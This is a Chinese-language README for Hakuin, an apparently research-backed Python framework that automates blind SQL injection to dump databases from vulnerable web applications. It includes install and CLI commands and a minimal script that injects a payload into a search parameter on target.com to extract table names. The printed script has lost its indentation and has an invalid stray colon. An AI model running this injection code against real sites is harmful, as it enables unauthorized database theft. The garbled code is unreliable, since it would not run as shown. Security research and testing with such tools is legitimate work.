Hakuin 是一个使用 Python 3 编写的盲 SQL 注入 (BSQLI) 优化与自动化框架。它抽象化了数据提取逻辑,允许用户轻松高效地从易受攻击的 Web 应用程序中转储数据库。为了加速这一过程,Hakuin 使用了多种优化方法,包括预训练和自适应语言模型、机会性猜测、统计建模、并行化、三元查询等。
Hakuin 曾在以下知名学术与行业会议上进行展示:
要安装 Hakuin,只需运行:
pip3 install hakuin
Hakuin 附带一个直观的工具,可直接从命令行使用 Hakuin 的大部分功能:
hk -h
有时,BSQLI 漏洞过于棘手,无法通过命令行利用,需要自定义脚本。这正是 Hakuin 的强项,它允许您完全自定义一切——注入逻辑、推理逻辑,甚至查询语句。
以下是一个最小示例:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
请务必查阅我们的教程。
本仓库正在积极开发,以满足安全从业者的需求。希望重现论文中所述实验的研究人员应安装冻结版本,其中包含原始代码、实验脚本以及结果复现指导手册。
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}